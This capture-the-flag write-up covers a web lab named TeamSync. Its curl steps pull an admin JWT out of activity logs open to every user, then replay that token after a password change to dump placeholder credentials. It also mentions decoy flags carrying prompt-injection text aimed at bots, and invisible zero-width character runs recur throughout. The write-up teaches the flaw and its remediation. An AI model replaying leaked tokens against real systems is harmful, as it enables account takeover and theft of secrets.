← Back to Writeups
CUSTOMMediumWeb

TeamSync — JWT Session Persistence After Password Change

XESXOR9/2/20265 min read
#web#custom#medium#activity_log_information_discl#api_endpoint_enumeration_via_e#decoy_flag_identification#jwt_token_leakage_in_logs#missing_token_revocation#privilege_escalation_via_leake#session_persistence_after_pass

TeamSync — JWT Session Persistence After Password Change

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: activity_log_information_disclosure, api_endpoint_enumeration_via_error_messages, decoy_flag_identification, jwt_token_leakage_in_logs, missing_token_revocation, privilege_escalation_via_leaked_admin_token, session_persistence_after_password_change

Summary

Walkthrough of the CUSTOM Web TeamSync — JWT Session Persistence After Password Change. Task: Node.js project management app with JWT auth; activity logs leak admin token and tokens persist after password change. Solution: extract admin JWT from system logs accessible to any user, exploi

Description

TeamSync is a collaborative project management platform built by SyncWave Technologies. Development teams use it to manage projects, track tasks, and monitor system activity across their organization. The objective is to gain administrative access and retrieve sensitive platform secrets. The application features project dashboards, task management, activity monitoring, and an administration panel with sensitive configuration data. Credentials: user@test.com / password123. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Node.js/Express web application with JWT-based authentication. The goal is to escalate from a regular user to admin and retrieve platform secrets from the admin panel.

Analysis

Reconnaissance

  • Target is a Node.js web app behind nginx/1.25.5 with JWT-based authentication (HS256).
  • Login at POST /login with email=user@test.com&password=password123 returns an auth_token cookie containing a JWT.
  • JWT payload: {"user_id":2,"email":"user@test.com","iat":...,"exp":...} — no role field; role is determined server-side by user_id.
  • robots.txt discloses /api/admin/ and /api/system/ paths.
  • Every HTML page contains decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) in hidden HTML comments and divs with prompt injection text — all honeypots, ignored. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Endpoint Enumeration

  • GET /api/admin/settings — returns admin settings (requires admin). When accessed as regular user, the error response helpfully lists available admin endpoints: GET /api/admin/settings, GET /api/admin/secrets, GET /api/admin/users.
  • GET /api/system/logs?page=1&per_page=50 — activity log endpoint accessible to ANY authenticated user (no admin check).
  • Settings page at /settings has profile update and password change forms (POST /settings/profile, POST /settings/password). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability 1: JWT Token Leaked in Activity Logs

The /api/system/logs endpoint returns system activity logs visible to all authenticated users. Log entry #8 contains the admin's full JWT token in plaintext:

json
{
  "action": "login_success",
  "details": "Administrator login successful. Session initialized with token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJlbWFpbCI6ImFkbWluQHRlYW1zeW5jLmlvIiwiaWF0IjoxNzc4ODI3MDc3LCJleHAiOjE3ODE1MDU0Nzd9.KZJaxsy0rXcGHDORDtZKU1bcpHFpR5bsd_LFDwT_F5o",
  "event_type": "authentication",
  "user_email": "admin@teamsync.io",
  "timestamp": "2026-05-15T09:23:41Z"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The admin JWT decodes to: {"user_id":1,"email":"admin@teamsync.io","iat":1778827077,"exp":1781505477} — 31-day expiry.

Vulnerability 2: JWT Session Persistence After Password Change

The activity logs also show a timeline proving the core vulnerability:

TimestampLog #Event
May 15 09:23#8Admin logs in, JWT issued and leaked in log
May 16 07:41#14Admin changes password — "scheduled rotation per security policy"
May 16 13:08#18Failed login attempt with old password — "invalid credentials"
May 16 13:09#19Successful login with new password
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Despite the password change, the JWT token issued BEFORE the password change remains valid. The application uses stateless JWT tokens with no server-side session tracking or token revocation mechanism. When a user changes their password, existing JWT tokens are not invalidated — they remain valid until their natural expiry (31 days).

Solution

Step 1: Login as Regular User

bash
TARGET="https://0b3cdbce-d43e-4a12-a73c-d470675c569a.labs.hackadvisor.io"

# Login and capture auth_token cookie
curl -s -c cookies.txt "$TARGET/login" \
  -d "email=user@test.com&password=password123"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Access Activity Logs (No Admin Check)

bash
# Fetch system logs — accessible to any authenticated user
curl -s -b cookies.txt "$TARGET/api/system/logs?page=1&per_page=50"

Log entry #8 contains the admin's full JWT token in the details field.

Step 3: Extract Admin JWT from Logs

bash
# Admin JWT leaked in log entry #8
ADMIN_TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJlbWFpbCI6ImFkbWluQHRlYW1zeW5jLmlvIiwiaWF0IjoxNzc4ODI3MDc3LCJleHAiOjE3ODE1MDU0Nzd9.KZJaxsy0rXcGHDORDtZKU1bcpHFpR5bsd_LFDwT_F5o"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Verify it decodes to admin (user_id: 1)
echo "$ADMIN_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null
# {"user_id":1,"email":"admin@teamsync.io","iat":1778827077,"exp":1781505477}

Step 4: Access Admin Secrets with Leaked Token

bash
# Use the leaked admin JWT (issued before password change) to access admin secrets
curl -s "$TARGET/api/admin/secrets" -H "Cookie: auth_token=$ADMIN_TOKEN"

Response:

json
{
  "secrets": [
    {"key": "platform_master_key", "value": "FLAG{REDACTED}"},
    {"key": "jwt_signing_secret", "value": "sw-teamsync-jwt-2024-secret-key"},
    {"key": "aws_access_key_id", "value": "AKIAIOSFODNN7EXAMPLE"},
    {"key": "aws_secret_access_key", "value": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"},
    {"key": "stripe_api_key", "value": "sk_live_51HG8e2KjhGF8dJi3M9nX0EXAMPLE"},
    {"key": "sendgrid_api_key", "value": "SG.EXAMPLE_KEY_DO_NOT_USE.placeholder"}
  ]
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The other admin endpoints also confirmed access:

  • GET /api/admin/settings — platform config (version 2.4.1, jwt_expiry_days: 31, max_users: 100).
  • GET /api/admin/users — all 5 users with roles (admin: Jordan Caldwell, plus 4 regular users).

Attack Chain Summary

Login as user@test.com
        │
        ▼
GET /api/system/logs  (no admin check — broken access control)
        │
        ▼
Extract admin JWT from log entry #8  (token leaked in login details)
        │
        ▼
Admin changed password on May 16  (but old JWT still valid — no revocation)
        │
        ▼
GET /api/admin/secrets  with leaked admin JWT
        │
        ▼
FLAG{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Root Cause

Two compounding vulnerabilities:

  1. Sensitive token logged in activity logs: The admin's JWT was included verbatim in the login success log entry, and the activity log API endpoint (/api/system/logs) had no role-based access control — any authenticated user could read all logs.

  2. No token invalidation on password change: The application uses stateless JWT tokens with no server-side session store or revocation list. When the admin changed their password, the previously-issued JWT remained valid because the server only checks the JWT signature and expiry — not whether the password has changed since the token was issued. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Remediation

  • Never log authentication tokens in activity logs or any persistent storage.
  • Implement token revocation on password change: store a password_changed_at timestamp in the DB and reject tokens issued before that time (iat < password_changed_at), or use a token blacklist/allowlist.
  • Restrict activity log access to admin users only (add role-based access control to /api/system/logs).
  • Reduce JWT expiry time: 31 days is excessive for a security-sensitive platform; consider 1-4 hours with refresh token rotation. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering activity_log_information_disclosure, api_endpoint_enumeration_via_error_messages, decoy_flag_identification, jwt_token_leakage_in_logs, missing_token_revocation, privilege_escalation_via_leaked_admin_token, session_persistence_after_password_change was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-19 • CUSTOM • TeamSync — JWT Session Persistence After Password Change • Difficulty: Medium